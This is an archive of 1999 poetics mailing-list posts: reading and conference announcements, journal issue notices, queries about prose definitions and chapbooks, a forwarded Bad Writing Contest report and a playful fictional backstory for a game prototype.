Page Mothers is a day and a half discussion/celebration of innovative publishing by California women (though there is an additional Bernadette Mayer panel and reading associated with it).It begins Friday, March 5, with a welcome speech (by me), a panel discussion on the historical circumstances that led to the current explosion of women's editing and publishing and a reception. These events start at 4:00 in the Geisal room at UCSD's main library. Events resume in the same place at 8:00 on Saturday morning with a full day of panels and discussions followed by an evening reading by Bernadette Mayer and Maureen Owen. Other participants include Lyn Hejinian, Leslie Scalapino, Marjorie Perloff, Harryette Mullen, Myung Mi Kim, Margy Sloan, Lynn Keller, etc. Fanny Howe and I are coordinating the event, but technical questions can be answered by Lucinda Rubio at [redacted]

Rae Armantrout

↑ Index

207. dbkk
prose: definitions
Wed 17 Feb 1999

Hi, Folks,

This is Dodie Bellamy. If any of you have any definitions that work for you--of what "prose" is (as compared to "poetry"), could you please backchannel them to me. Or if you have any suggestions as to where I'd find a workable definition, I'd be eternally greatful.

db

↑ Index

208. Edward Foster
Re: Armand Schwerner
Wed 17 Feb 1999

Armand's translation of cantos from _The Inferno_ will be published in September. --ed foster

On Tue, 16 Feb 1999, Poetics List wrote:

> Date: Fri, 05 Feb 1999 12:02:56 -0800
> To: [redacted]
> From: Mark Weiss <[redacted]>
> Subject: Armand Schwerner
>
> Armand's _The Tablets_, for the first time complete, if that's the term, will be available from National Poetry Foundation, and his Selected Shorter Poems (comprising about 2/3 of his non-Tablets poetry plus a handful of translations) from Junction Press within the next two months. Both are in the final stages of pre-press. His translations of _The Inferno_, which he still hoped to complete as recently as a month ago, are to be published by Talisman. Ed Foster can probably tell us when to expect them.
> He was my friend and teacher. Editing his work with him has been a last great privilege.
> Selah.

↑ Index

209. Joe Amato/Kass Fleisher
for fun...
Wed 17 Feb 1999

thought some of you might get a kick out of this... all very male, save for the "girlfriend" (and what a role she plays)... but some references resonated with me...

best,

joe

> Date: 2.10.99
> From: Lev Manovich ([redacted])
> Subject: FREUD-LISSITZKY NAVIGATOR
>
> FREUD-LISSITZKY NAVIGATOR
> Computer Game Prototype
> http://jupiter.ucsd.edu/~manovich/FLN
> By Lev Manovich and Norman Klein
>
> In the summer of 1928 Sigmund Freud meets with the avant-garde Russian designer El Lissitzky and his wife who are spending some time in Vienna after a stressful period working on the Soviet Pavilion at the International Press Exhibition in Cologne. They talk about psychoanalysis and modern architecture. Freud tells Lissitzky that in 1908 he visited Coney Island and went to a park called "Dreamland." There he got the initial idea for the architectural realization of his theory. Lissitzky gets very exited about this idea. They decide to create an architectural construct based on Freud's model of the mind. What shall it be? Lissitzky points out the parallels between Freud's model of the consciousness/unconsciousness as articulated in Interpretation of Dreams and Marx's model of base/superstructure (they don't know that it also parallels Saussure's model of signified/signifier). Freud still thinks of the "Dreamland" park, but Lissitzky convinces him that rather than building a one of a kind museum or park, they should design mass housing--a popular idea with the avant-garde architects of the second half of the 1920s and something which Lissitzky, who until now could not realize any of his big-scale architectural projects, was eager to do. Freud's first impulse is to have a house with three vertical levels corresponding to his typography of id, ego and super-ego. He wants to put a second, smaller house inside a garden, also with three levels corresponding to his first typography of the Conscious, Preconscious and Unconscious, with staircases to allow communication between them.
>
> Lissitzky persuades Freud that the modern house should have only one level with horizontal divisions, i.e. it should follow horizontal rather than vertical development. They discuss how to implement the concepts of condensation and displacement via mobile walls, an extension of Lissitzky's design for the exhibition pavilion which he did in Dresden in 1926.

Around the same time Russian filmmaker Sergei Eisenstein happens to pass through Vienna and he meets with Freud and Lissitzky. He tells them that he is planning film "adaptation" of Marx's Capital. Eisenstein is having difficulties with realizing his film project in Russia; however, there is funding for the mass housing projects in Vienna. Eisenstein realizes that he can try to test his ideas by "displacing" Capital into Interpretation of Dreams. He convinces Freud and Lissitzky to commission him to do a short film which presents a "walk through" through the model of a house.

Eisenstein now faces a fundamental problem: how to reconcile his method of montage with an essentially continuous experience of navigating through a space? He keeps thinking about this problem when he gives a lecture in the Institute of Psychoanalysis in Berlin in 1929. Later this year he visits Bauhaus where he talks with Hungarian artist and Bauhaus professor Moholy-Nagy to see if his students will build a model of the house which Eisenstein can film (Moholy-Nagy is in charge of the Metal Workshop). However, Moholy-Nagy is frustrated with art school politics and he already made plans to go to Berlin to start his own advertising agency.

While at Bauhaus Eisenstein happens to catch a lecture by a young American engineer Edwin Link about his flight simulator design. The Link Trainer is a simulation of a cockpit with all the controls, but, in contrast to a modern simulator, it has no visuals. Eisenstein conceives of adding a projected film to the simulator.

Link has connections in Hollywood; he arranges an invitation for Eisenstein so they have an opportunity to work on this new project in America. In Hollywood Eisenstein completes a twenty second film test. After meeting Disney, Eisenstein, who was in love with Disney cartoons, adds Mickey Mouse to the film. He send a print to Freud and a copy to Lissitzky who is now in Cologne. Lissitzky soon has to return to Russia. Sensing changing political climate there, he leaves his notes on the Navigator in Germany.

As many of Eisenstein's other projects, the Freud-Lissitzky navigator remains unrealized. There are notes in his archive dating to the late 1930s about constructing special movie theatres with moving platforms; he wants to use his montage theories to script the movement of a platform against other dimensions of a film. He also shoots a scene for Alexander Nevsky where we see the battle through the POV of a character who flies over the battle using the wings he constructed; but Stalin who understands that Eisenstein is making a reference to Russian avant-garde artist Tatlin's "Letatlin" (flying apparatus Tatlin has been developing for years) orders this scene to be cut.

In 1961 at MIT Steve Russel writes the first computer game. He calls it Spacewar.

In 1968 a French new wave filmmaker is working on a film about Mao's China. He wants to present it as a happy utopia which finally left alienation and exploitation behind. One part of the film is taking place in the future when America attacks China. The filmmaker wants to film using montage strategies of Eisenstein's October. While on the train from Paris to Brussels, he reads in the paper that Russian tanks are going through the streets of Prague. Completely pre-occupied by his film, the filmmaker ignores the larger political context of Prague events; he is exited about the opportunity to get some footage for the film. He rushes back to Paris, grabs his hand-held film camera and takes first train to Prague. There he indeed finds Russian tanks in big numbers but there is a problem: the medieval streets of Prague look very different from China countryside where the scene is supposed to take place. The filmmaker pays the crews of two Russian tanks to drive to the countryside for half a day where he films the tanks. Happy, he returns to Paris where he finally realizes what actually took place in Prague. His first thought is to destroy all his footage but his old Fluxus friend convinces him to donate it to the audio-visual division of the National Library. The librarians have difficulties deciding under which category to file the footage; eventually they file it under "travel films."

In the same year a Hungarian scholar of Russian avant-garde is working on the first large exhibition of Russian avant-garde art in Stockholm. While doing research in Germany he discovers Lissitzky and Freud notes on the Navigator project. He publishes them in Hungary in a Hungarian art history journal. During the 1980s a great deal of computer development for American computer games was done in Hungary. One of the computer programmers has a girlfriend who studies art history at the University; she shows him the journal issue where the Lissitzky and Freud notes were published. The programmer begins to work on a game based upon these notes in his spare time. He completes a prototype in 1988 and there are plans to publish the game in the US, however, following the events of 1989 they fall through. The programmer who previously was happy to be paid a tenth of his US counterpart's salary now starts asking for outrageous amounts of money. Through the programmer's girlfriend the American game publishers steal the prototype and give it to their in-house development team to develop further. She and the programmer break up. Frustrated and heartbroken, the Hungarian programmer moves to Berlin and takes up painting.

The US game designers run into difficulties. They say that the reward system in the game is not clear. And what is the point of traveling through Freud's model of the mind anyway? Having realized that what they have is not a game but a "scripted space" (Norman Klein's term) they try to talk to the Disney Imageneering to see if they would make a ride based on the prototype. But Imageneering people do not believe in unconscious and hence are not interested.

However, one of Disney designers wonders if they can incorporate some elements from the prototype into the design of Euro Disney. He thinks that European visitors would like the references to Dr. Freud and Russian avant-garde. In Paris to work on the site, he spends some time in the National Library looking through amateur French films to see how French navigate through landscapes. Looking through the "travel films" section, he comes across 1968 Prague footage and is struck by the similarity between its camera's moves and the computer game prototype he saw back in the States. Inspired, he goes to CafÈ du Dome on Montparanasse, which in its time served as a hangout for Lenin, Picasso, Soutine and other exiled intellectuals and artists. Keeping himself awake through the night on oysters, black coffee and cigarettes, he completes a detailed sketch of a Main Street design for Euro Disney by the morning. His design makes it through two committees and three focus groups but eventually is scratched. But some elements of it are incorporated in the final plans for Fantasyland at the Euro Disney, now renamed Disneyland Paris.

The game company makes another attempt to make money on the prototype: they approach a company which develops expensive simulators for the US Army. But, with the end of the Cold War, the company lost most of its orders and it is now busy converting a multi-million dollar simulator into an add-on level for the popular computer game Quake. They make one more attempt approaching the US Navy Simulation Division directly; but their engineers are also not interested. They are converting their own simulator (which is based on customized computer game Doom) into a commercial game for Sony Playstation. Frustrated, the game company recycles part of a computer code from the prototype for their own internal database which tracks employee benefits, and permanently shelves the project.

The Freud-Lissitzky Navigator is an early version of this prototype. It is converted from the original assembler code written in 1989. Following the usual practice of computer games to begin with a FMV (full motion video) sequence, we have added Eisenstein test (1930), re-edited by the American game company (1993). At the end of the prototype we appended a number of sketches and screen shots. They come from the 1993 version of the game developed by the company and from the presentations it did to Disney Imageneering and Navy Simulation Division (1990-1995). The last image is the sketch of Euro Disney Main Street done by Disney designer at CafÈ du Dome in Paris after he came across 1968 Prague footage.

> http://jupiter.ucsd.edu/~manovich/FLN

↑ Index

210. Michael Magee

Re: poetry & sound

Wed 17 Feb 1999

Sean, one good place to start, Nate Mackey's chapter "Sound and Sentiment, Sound and Symbol" in his book Discrepant Engagement - the chapter title is a reference to 2 other interesting works on the subject: Stephen Feld's Sound and Sentiment: Birds, Weeping, POetics, and Song in Kaluli Expression; and Victor Zuckerkandl's Sound and Symbol: Music and the External World. Mackey also makes revelatory use of another worthwhile book, Jacques Attali's Noise: The Political Economy of Music. Happy hunting! -m.

According to Sean Casey: > > I'm researching the combinations of word with sound, from > sound poems to poetry accompanied by music (improvised, > composed, collage, ambient, jazz), from no specific time period
> or language.
>
> I would appreciate any recommendations from the list of > recordings I should check out.
>
> My address: [redacted]
>
> Also, I'd be interested in corresponding with any list members > who have done some exploration in these areas.
>
> Thank you,
> Sean
>
>
>
>
>
>
>
>
>
>
> --

> Issues
> http://www.cs.brown.edu/~raj/issues/
>

↑ Index

211. Lawrence Upton.
(no subject)
Wed 17 Feb 1999

Writers Forum announces the publication of 7 more pamphlets, the first seven of a new theme introduced by Upton, in the DOMESTIC AMBIENT NOISE series of 300. This brings the total published so far to 203. Cobbing and Upton 203 Rest of the world 97.

Each costs £1.00 plus postage. Special bulk rates available. All payments in sterling. Orders to New River Project 89a Petherton Road, London N5 2QT

Please send s.a.e./i.r.c. with enquiries. I'll pass on emails - he hasn't got email - but it wont necessarily speed things up as I live on the outskirts of S London and Cobbing/WF/NRP live somewhere called N London & I'm v forgetful

THE FOUR ZONES Upton/Cobbing 0 86162 791 1
STILLING LIGHT Cobbing/Upton 0 86162 792 X
PLACARD Upton/Cobbing 0 86162 857 8
FO DO MO Cobbing/Upton 0 86162 862 11 little globes & loss marbles Upton/Cobbing 0 86162 863 2 LAWRENCE'S RESPONSE Cobbing/Upton 0 86162 864 0
it's not about non-stick frying pans Upton/Cobbing 0 86162 865 9

Thank you

↑ Index

212. Matthew J Chambers
(no subject)
Wed 17 Feb 1999

---

hello,

two announcements for events this coming mon. the 22nd

A PANEL FEATURING ROBERT CREELEY * CARL DENNIS * BEN FRIEDLANDER

at the Jan Keeler Room next to the Katherine Cornell Theater in the Ellicott Complex at SUNY at Buffalo (North Campus)

from 6-8pm
Feb. 22nd (Monday)

-->panelists will be reading from some of their work & the floor will be opened to those with questions for discussion
-->ALL ARE WELCOME

IMMEDIATELY FOLLOWING:

OPEN MIKE AT THE COFFEE BEAN CAFE FEATURING R.M. ENGELHARDT

R.M. Engelhardt will read at 9pm followed by an open mike for the remainder of the evening

COFFEE BEAN CAFE
5268 MAIN ST. (BETWEEN THIRD BASE & PJ BOTTOMS)
BUFFALO, NY

-->BOTH EVENTS ARE OPEN TO THE PUBLIC

↑ Index

213. Christopher Reiner
Wheeler/de Lissovoy Reading
Wed 17 Feb 1999

SUNDAY SUNDAY SUNDAY

February 21, 1999

L.A. Books @ Cafe Balcony Presents
Susan Wheeler and Noah de Lissovoy

Susan Wheeler's two books of poems are Bag O' Diamonds (1993) and Smokes (1998), which was selected by Robert Haas to receive the Four Way Books Award. Her poems have been featured in five editions of the annual publication, The Best American Poetry. A former auto mechanic who became the director of Public Affairs of Arts and Science at New York University, Wheeler is currently in the department of English at New York University and on the core faculty of the New School for Social Research.

Noah de Lissovoy's writing has appeared recently in Big Allis, Ribot, and Tripwire. He is a recipient of a Gertrude Stein Award for innovative writing. A chapbook, Spark, is forthcoming from Jensen/Daniels.

The L.A. Books reading series is held at Cafe Balcony in west Los Angeles (12431 Rochester Avenue--near Santa Monica Blvd. and Centinela) at 4 pm. Donation $5 -- and it all goes to the readers.

↑ Index

214. David Baratier

Readings

Wed 17 Feb 1999

Thursday February 18th Portsmith OH
at Teeny's. Open mike only because the main reader, Matt Hart from Cin/sity who runs the mag Forklift, can't show.
No one knows why so... Meet us there... A bunch from Columbus + 2 other cities & KY? will be there.
I heard Josip Navakovich was pure storytelling fire last month.

Friday February 19th
Columbus OH
8pm. David Baratier reads letters. Mostly love. No opener.
The Market at Crestview and Calumet (Clintonville)
[redacted]

↑ Index

215. Other Voices

Other Voices 1.3 now available online

Thu 18 Feb 1999

 OTHER VOICES ***
The (e)Journal of Cultural Criticism

http://dept.english.upenn.edu/~ov
ISSN 1094-2254

Other Voices has released its third issue!

 Table of Contents, vol. 1, no. 3 ***

ANCHORING ANALYSIS

Articles:

Psychosis in a Cyberspace Age
Sheila Kunkle

Antonioni's The Passenger as Lacanian Text
Jack Turner

Death Drive's Joy Ride: David Cronenberg's Crash
Manuel Camblor

On the Lost Highway: Lynch and Lacan, Cinema and Cultural Pathology
Bernd Herzogenrath

Theology After Lacan?: A Psychoanalytic Approach to Theological Discourse Jürgen Braungardt

Perversion as the Jouissance of The Woman in "The Dead": Joyce, Lacan and Fucking the Other
E. Ivan Truijo

Monsters as (Uncanny) Metaphors: Freud, Lakoff, and the Representation of Monstrosity in Cinematic Horror
Steven Schneider

When the English House is Harlem
Adrienne Gosselin

The Promise of Expression to the 'Inexpressible Child': Deleuze, Derrida and the Impossibility of Adults' Literature
Vadim Linetski

Interviews/Lectures:

[F o r t h c o m i n g]
Is the Prohibition of Incest a Law? (the jouissance of the Other) Lecture by Judith Feher Gurewich.

(e)Text Project:

Re- in/de -fuse
Text and Images by Bracha Lichtenberg Ettinger

Book Reviews:

Bonjour Monsieur Lacan
Jean-Michel Rabate reviews Elizabeth Roudinesco's Jacques Lacan

---

About the Journal:

Other Voices is an electronic journal of cultural criticism published at the University of Pennsylvania. Founded in March 1997, Other Voices regularly publishes provocative essays, interviews, lecture transcriptions, hypermedia projects, translations and reviews in the arts and humanities; covering philosophy, literature, visual art, music, and theory in a variety of traditionaland non-traditional forms. Other Voices is dedicated to expanding the dialogues that take place between the disciplines, and which challenge received notions about reading and scholarship in the university and at large. In keeping with this the journal is home to a broad-based group of contributors including academics, independent scholars, graduate and undergraduate students.

 Contact Information ***

Snail Mail:

Other Voices
Attn: Vance Bell
P.O. Box 31907
Philadelphia, PA 19104-1907 USA

E-mail:

Editors, [redacted]

to the above address with the subject line "subscribe" and you will be promptly added.

++__++__++__++__++__++__++__++__++__++__++

Other Voices ISSN 1094-2254
P.O. Box 31907
Philadelphia, PA 19104-1907 USA
email: [redacted]
http://dept.english.upenn.edu/~ov

↑ Index

216. Poetics List

Announcement: Issue # 6 of Jacket magazine is now stitched up and ready to wear

Thu 18 Feb 1999

Had to reformat this a bit. Chris

---------- Original message (IDš2AA83B) (110 lines) ----------

Date: Thu, 18 Feb 1999 21:10:58 +1100
To: John Tranter <[redacted]>
From: John Tranter <[redacted]>

Subject: Announcement: Issue # 6 of Jacket magazine is now stitched up and ready to wear

Announcement:

. . . on 18 February 1999, anniversary of the birthday of the first reigning queen of Great Britain, of screen god Jack Palance, screen goddess Kim Novak, and techno hero Count Allesandro Volta, inventor of the battery (!) . . .

Issue # 6 of Jacket magazine appears, stitched up and ready to wear, . . . at

http://www.jacket.zip.com.au/jacket06/index06.html

Nathaniel Tarn Feature: The first chapter of his new book, "Scandals in the House of Birds" - Based on a thirty-year span of fieldwork in the Lake Atitlán region of Guatemala, "Scandals in the House of Birds" is a multi-voiced epic of a sacred crime, and its tangled mythic, religious, and political ramifications.

Nathaniel Tarn: a heartfelt essay on new poetic forms - "I must confess in a belief that poetry represents . . . the ground and constitution of a perpetual opposition which is ill served by the depths of social isolationism into which we have allowed our vocation to sink"

A review by Shamoon Zamir (King's College, London) of "Scandals in the House of Birds" (to come)

A poem by Nathaniel Tarn on his Lithuanian heritage and the pogroms.

AND . . .

Frank O'Hara - WHAT'S WITH MODERN ART? - reviews of art shows from Art News, 1953-55, gathered by poet Bill Berkson - and a rare 1965 O'Hara photo by Renate Ponsold Motherwell

Paul Hoover - "THE PLOT AGAINST THE GIANT" - a review of David Lehman's "The Making of the Last Avant-Garde", about the New York School of poets

Eliot Weinberger : What Was Formalism? - a dry look at the latest poetic craze versus an ancient poetic tradition.

From Cambridge, England: John Kinsella's commentary on a poem by the elusive J.H.Prynne.

. . . and poems from Richard Caddel, Maxine Chernoff, Bill Griffiths, Lisa Jarnot, Robert Kelly, John Kinsella, Jennifer Moxley, Sheila Murphy, J.H. Prynne, Michael Rothenberg, Ron Silliman, and Adrian Wiggins.

With notices of and live links to the Post-War American Poetry Conference in Liège, Belgium, in early March 1999;

the 9th Cambridge Conference of Contemporary Poetry to be held at Trinity College, Cambridge, England, in late April 1999; and the 22nd Festival Franco-Anglais de Poésie in Paris from 10 to 15 May 1999 - the theme is LANGAGES DU TEMPS MOBILE and you can read all about it at "La Traductière", the Internet site for the literary translation magazine edited by the indefatigable Jacques Rancourt in Paris.

. . and, as usual, a lather of photographs and other visuals.

Drop by, try the fit of the Jacket, and if you like it, tell your friends!

> I understand that you may not wish to receive these notices.
> If so, please reply to this email to that effect, and > I'll take your name off the mailing list pronto. [J.T.]

A special PS: ==========

Kate Grenville, noted Australian author, now has her own Internet site, at this URL:

http://www.alm.aust.com/~kategren/index.html

The site is available to the public free of charge, and contains over a hundred pages of detailed information relating to Kate's writing career - interviews, book reviews, biography, bibliography, chapters from her books, and photos. The site was created by Jacket editor John Tranter for Australian Literary Management, Australia's premier literary agency.

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia tel ([redacted] fax ([redacted] Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

↑ Index

217. Keith Tuma

advert

Thu 18 Feb 1999

Noting a few recent publications perhaps of interest to some on the list:

Fishing by Obstinate Isles: Modern and Postmodern British Poetry and American Readers. Northwestern University Press. $19.95 (paper). Available direct from NUP/Chicago Distribution Center/11030 South Langley Ave./Chicago, IL 60628. Tel: [redacted].

"Midnight at the Oasis: Performing Poetry Inside the Spectacle," _Modernism/Modernity_ 6.1 (January 1999). Available from Johns Hopkins UP, Journals Publishing Division, 2715 North Charles St., Baltimore, MD 21218-4319. Tel: [redacted]. Single issue $11. "Individual" subscription to this fine journal $30.

This second is a review-essay on the C. Bernstein collection, _Close Listening_. In the event that anyone reads the thing, I'll note here an error that will also be noted in the next issue. The 3rd sentence in the 2nd paragraph on page 158 should read: "The question raised or implicit in all three essays involves the nature or composition of the audience and thus might be dubbed, after the academic mantra Silliman alludes to in his antiacademic essay, "Who Listens."

There--I've satisfied the pedant and ad-man in me in one fell swoop.

KT

↑ Index

218. Randy Prunty
Joshua Beckman
Fri 19 Feb 1999

---

anyone have an email for Joshua Beckman? please backchannel.

Randy Prunty

↑ Index

219. Louis Cabri
PhillyTalks 10
Fri 19 Feb 1999

PhillyTalks 10, with STEVE FARMER & PETER GIZZI, is now available. Their discussion ranges over the troubadors, limits of irony in contemporary experimental poetry, the question of lyrically transcendent being in the space of the page, historical determination in poetry, the "degraded" or "contaminated" in Farmer's poetry, and "vulnerability" in Gizzi's. Constructive, forthright, open dialogue, across two very divergent poetries, by two medieval-inflected, modernizededed poets.

Farmer & Gizzi read and further discuss their work at Kelly Writers House, 3805 Locust Walk, Philadelphia, March 1st, 7pm. All welcome.

If you'd like this newsletter, or back issues, please e me.

Best,
Louis

↑ Index

220. david bromige
re long poem
Fri 19 Feb 1999

Jennifer, it would be a lot easier to know which poems you have overlooked, if you were to post the ones you have determined upon. Best, David

↑ Index

221. Poetics List
promised update
Fri 19 Feb 1999

All - copies of old messages are still trickling in, but I suspect that we're over the majority of the restoration process for UB email service. To those of you who sent messages that never made it to the list, I can only apologize - CIT has informed us (as Loss mentioned yesterday, thanks Loss) that messages for at least one day were lost in the shuffle.

thanks for your patience. Chris

↑ Index

222. Matthew J Chambers
apology & announcement
Fri 19 Feb 1999

hello again, someone was generous enough to point out an error on my part (or omission) - i forgot to mention that the panel discussion occurring on mon. feb. 22nd at the Jan Keeler Room at SUNY at Buffalo, North Campus will also feature

LOREN GOODMAN

my apologies to loren for my error & i hope no one was offended by my unintentional omission much thanks
-matt chambers

↑ Index

223. Judy Roitman
Chicago
Fri 19 Feb 1999

Happened across a flyer about a reading at the Poetry Center of Chicago, Wednesday, Feb. 24, 6 p.m. at the ballroom of the Art Institute, 112 S.

Michigan Ave.: Mei-Mei Berssenbrugge, Marilyn Chin, Arthur Sze. Admission $8; reduced admission for seniors (I think this means old people), AIC members, students. For more information, call [redacted].

These folks don't seem to publicize on this list, so thought I'd do it.

Wish I could be there.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

224. Magdalena Zurawski
SHOW UP!
Fri 19 Feb 1999

THE SLEEVES

PICNIC

CRANKY

9PM on Saturday February 20th

Charleston Bar, Bedford Ave (Btw. N7. & N.8), Williamsburg, Brooklyn

↑ Index

225. Poetry Project
this week at the poproj
Fri 19 Feb 1999

This upcoming week:

MONDAY

Feb. 22 at 8 pm

Yedda Morrison & Brian Lucas

(free samples of Lucas's work are available at http://www.poetryproject.com in the Poets & Poems back issues)

WEDNESDAY

Feb. 24 at 8 pm

Diane Williams & Mac Wellman

Williams has written a book called _this is about the body, the mind, the soul, the world, time and fate_

while Wellman has written a book called _A Shelf in Woop's Clothing_

AND THAT IS IT FOR FEBRUARY

see you MARCH 1st
at the Open Reading (sign-up at 7:30 pm)

where "One inviting word a place to/always begin." (Lucas)

↑ Index

226. Todd Baron /*/ ReMap

Re: prose: definitions

Fri 19 Feb 1999

---

dodie: one I certainly use in teaching--re prose vers.

poetry : " lower limit speech, upper limit music" (Zuk.)

prose: " "the vision of the emotional imagination..." (Raymond Chandler)

↑ Index

227. Safdie Joseph

FW: the envelope please...

Fri 19 Feb 1999

I seem to remember a discussion about a Jameson quote which had been similarly honored last year, and wondered if most folks on this list agreed that these examples were, in fact, "bad" -- it's one way to talk about poetics, no?

_____
>We are pleased to announce winners of the fourth Bad Writing Contest, >sponsored by the scholarly journal Philosophy and Literature.
>
>The Bad Writing Contest celebrates the most stylistically lamentable >passages found in scholarly books and articles published in the last >few years. Ordinary journalism, fiction, departmental memos, etc. are >not eligible, nor are parodies: entries must be non-ironic, from >serious, published academic journals or books. Deliberate parody >cannot be allowed in a field where unintended self-parody is so >widespread.

>
>Two of the most popular and influential literary scholars in the U.S.
>are among those who wrote winning entries in the latest contest.
>
>Judith Butler, a Guggenheim Fellowship-winning professor of rhetoric >and comparative literature at the University of California at >Berkeley, admired as perhaps "one of the ten smartest people on the >planet," wrote the sentence that captured the contest's first prize.
>Homi K. Bhabha, a leading voice in the fashionable academic field of >postcolonial studies, produced the second-prize winner.
>
>"As usual," commented Denis Dutton, editor of Philosophy and >Literature, "this year's winners were produced by well-known, >highly-paid experts who have no doubt labored for years to write like >this. That these scholars must know what they are doing is indicated >by the fact that the winning entries were all published by >distinguished presses and academic journals."
>
>Professor Butler's first-prize sentence appears in "Further >Reflections on the Conversations of Our Time," an article in the >scholarly journal Diacritics (1997):
>
>
>"The move from a structuralist account in which capital is understood >to structure social relations in relatively homologous ways to a view >of hegemony in which power relations are subject to repetition, >convergence, and rearticulation brought the question of temporality >into the thinking of structure, and marked a shift from a form of >lthusserian theory that takes structural totalities as theoretical >objects to one in which the insights into the contingent possibility >of structure inaugurate a renewed conception of hegemony as bound up >with the contingent sites and strategies of the rearticulation of >power."
>
>
>Dutton remarked that "it's possibly the anxiety-inducing obscurity of >such writing that has led Professor Warren Hedges of Southern Oregon >University to praise Judith Butler as `probably one of the ten >smartest people on the planet'."
>
>This year's second prize went to a sentence authored by Homi K.

>Bhabha, a professor of English at the University of Chicago. He writes >in The Location of Culture (Routledge, 1994):
>
>"If, for a while, the ruse of desire is calculable for the uses of >discipline soon the repetition of guilt, justification, >pseudo-scientific theories, superstition, spurious authorities, and >classifications can be seen as the desperate effort to "normalize" >formally the disturbance of a discourse of splitting that violates the >rational, enlightened claims of its enunciatory modality."
>
>
>This prize-winning entry was nominated by John D. Peters of the >University of Iowa, who describes it as "quite splendid: enunciatory >modality, indeed!"
>
>Ed Lilley, an art historian at the University of Bristol in the U.K., >supplied a sentence by Steven Z. Levine from an anthology entitled >Twelve Views of Manet's "Bar" (Princeton University Press, 1996):
>
>"As my story is an august tale of fathers and sons, real and imagined, >the biography here will fitfully attend to the putative traces in >Manet's work of "les noms du p re," a Lacanian romance of the errant >paternal phallus ("Les Non-dupes errent"), a revised Freudian novella >of the inferential dynamic of paternity which annihilates (and hence >enculturates) through the deferred introduction of the third term of >insemination the phenomenologically irreducible dyad of the mother and >child."
>
>
>Stewart Unwin of the National Library of Australia passed along this >gem from the Australasian Journal of American Studies (December 1997).
>The author is Timothy W. Luke, and the article is entitled, "Museum >Pieces: Politics and Knowledge at the American Museum of Natural >History":
>
>
>"Natural history museums, like the American Museum, constitute one >decisive means for power to de-privatize and re-publicize, if only >ever so slightly, the realms of death by putting dead remains into >public service as social tokens of collective life, rereading dead >fossils as chronicles of life's everlasting quest for survival, and >canonizing now dead individuals as nomological emblems of still living >collectives in Nature and History. An anatomo-politics of human and >non-human bodies is sustained by accumulating and classifying such >necroliths in the museum's observational/expositional performances."

>
>
>The passage goes on to explain that museum fossils and artifacts are >"strange superconductive conduits, carrying the vital elan of >contemporary biopower." It's demonstrated with helpful quotations from >Michel Foucault's History of Sexuality.
>
>Finally, a tour de force from a 1996 book published by the State >University of New York Press. It was located by M.J. Devaney, an >editor at the University of Nebraska Press. The author is D.G. Leahy, >writing in Foundation: Matter the Body Itself:
>
>
>"Total presence breaks on the univocal predication of the exterior >absolute the absolute existent (of that of which it is not possible to >univocally predicate an outside, while the equivocal predication of >the outside of the absolute exterior is possible of that of which the >reality so predicated is not the reality, viz., of the dark/of the >self, the identity of which is not outside the absolute identity of >the outside, which is to say that the equivocal predication of >identity is possible of the self-identity which is not identity, while >identity is univocally predicated of the limit to the darkness, of the >limit of the reality of the self). This is the real exteriority of the >absolute outside: the reality of the absolutely unconditioned absolute >outside univocally predicated of the dark: the light univocally >predicated of the darkness: the shining of the light univocally >predicated of the limit of the darkness: actuality univocally >predicated of the other of self-identity: existence univocally >predicated of the absolutely unconditioned other of the self. The >precision of the shining of the light breaking the dark is the >other-identity of the light. The precision of the absolutely minimum >transcendence of the dark is the light itself/the absolutely >unconditioned exteriority of existence for the first time/the >absolutely facial identity of existence/the proportion of the new >creation sans depth/the light itself ex nihilo: the dark itself >univocally identified, i.e., not self-identity identity itself >equivocally, not the dark itself equivocally, in "self-alienation," >not "self-identity, itself in self-alienation" "released" in and by >"otherness," and "actual other," "itself," not the abysmal inversion >of the light, the reality of the darkness equivocally, absolute >identity equivocally predicated of the self/selfhood equivocally >predicated of the dark (the reality of this darkness the >other-self-covering of identity which is the identification >person-self)."

>
>
>Dr. Devaney calls this book "absolutely, unequivocally >incomprehensible." While she has supplied further extended quotations >to prove her point, this seems to be enough.
>
>The next round of the Bad Writing Contest, results to be announced at >the end of 1999, is now open. There is an endless ocean of >pretentious, turgid academic prose being added to daily, and we'll >continue to honor it.
>
>Prof. Denis Dutton
>Editor, Philosophy and Literature
>University of Canterbury, Christchurch, New Zealand
>
>Phone: 01[redacted]
>[redacted]

↑ Index

228. Charles Alexander
Re: long poem / Rosenthal
Fri 19 Feb 1999

---

as I recall, it was 'rooted in sense of place' and written (or published, perhaps?) 1945-1960. But then 'sense of place' seems practically unavoidable. Whether work of a specific place, as is Maximus, or work of multiple movement across space (Slinger -- but yes, this is after 1960), or work in which space doesn't seem obviously at issue (Passages -- except in parts, of course, that are specific to San Francisco area) -- isn't that too at take on 'sense of place.' Can the page itself supply 'sense of place?' -- quite literally? or, metaphorically, many other things (language, the psyche, etc.)?

charles

At 10:33 AM 2/24/99 -0500, you wrote: >somebody correct me if i'm wrong (i've erased the original message)
>
>but aren't their two selection factors to be kept in mind

>with regard to this long poem biz
>
>1 - rooted in a sense of place
>
>2 - written in the 60's
>
>)L
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

229. Michael Scharf
Page Mothers
Fri 19 Feb 1999

Would any journalist types planning on attending please backchannel? Thanks much -Mike

↑ Index

230. Rebecca Wolff
Re: po
Sat 20 Feb 1999

I'm reading my own poems (not Fence-related) on Saturday, February 27th, 3 pm, at the Ear Inn, 326 Spring Street (west of Greenwich Street, near the River)

Please come! I haven't read in a long time (over a year) so I'll be super-extra nervous!

↑ Index

231. Jim Bennett Chapbooks
Sat 20 Feb 1999

Hi all

Reprinted below is the collected musing on the derivation of the term "chapbook". A colleague from another mailing list suggested that I collate them and send them to his list, so having done the job it is a pity to waste such effort. I thought it was quite interesting. Hope you do.

APP absolutely nothing can anyone tell me the derivation of "chapbook"?

Just interested.

Jim

re chapbook, the first element is presumably identical with 'cheap-' meaning to sell; a chapbook being hawked round?

The North English equivalent was 'cowp'. While if you exchanged goods, the difference in value was a money sum called a 'boot'. Or you could simply 'sell' (from OE root = give).

Bill

[redacted]

